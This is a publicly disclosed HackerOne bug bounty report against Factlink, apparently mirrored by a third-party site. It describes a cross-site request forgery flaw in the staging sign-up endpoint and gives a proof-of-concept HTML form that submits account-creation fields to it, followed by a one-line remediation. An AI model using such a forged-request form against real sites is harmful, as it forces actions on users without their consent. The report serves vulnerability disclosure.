HexBrain
Open on HackerOneSign in

Factlink · Report #13583

Sign up CSRF

Validstatus
3upvotes
5 Jun 2014disclosed

How it was found

Any user can be forced to sign up and presented with a home dash board . here is the csrf

<html> <!-- CSRF PoC Chandrakant --> <body> <form action="https://staging.factlink.com/users/sign_in_or_up/up" method="POST"> <input type="hidden" name="utf8" value="â&#156;&#147;" /> <input type="hidden" name="authenticity&#95;token" value="mDOtU6Iz1eYGyFYolgEMlTEcX0JGiO1Y1iCWbIb6qhY&#61;" /> <input type="hidden" name="user&#95;new&#95;account&#91;full&#95;name&#93;" value="test" /> <input type="hidden" name="user&#95;new&#95;account&#91;email&#93;" value="test&#64;gmail&#46;com" /> <input type="hidden" name="user&#95;new&#95;account&#91;password&#93;" value="chandra2123" /> <input type="hidden" name="user&#95;new&#95;account&#91;password&#95;confirmation&#93;" value="chandra&#64;123" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Save this any name.html and then double clik you will be presented as home panel authentication token is there but that is not preventing csrf issue .

Remediation : Use CSRF token .

Thanks CKN

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original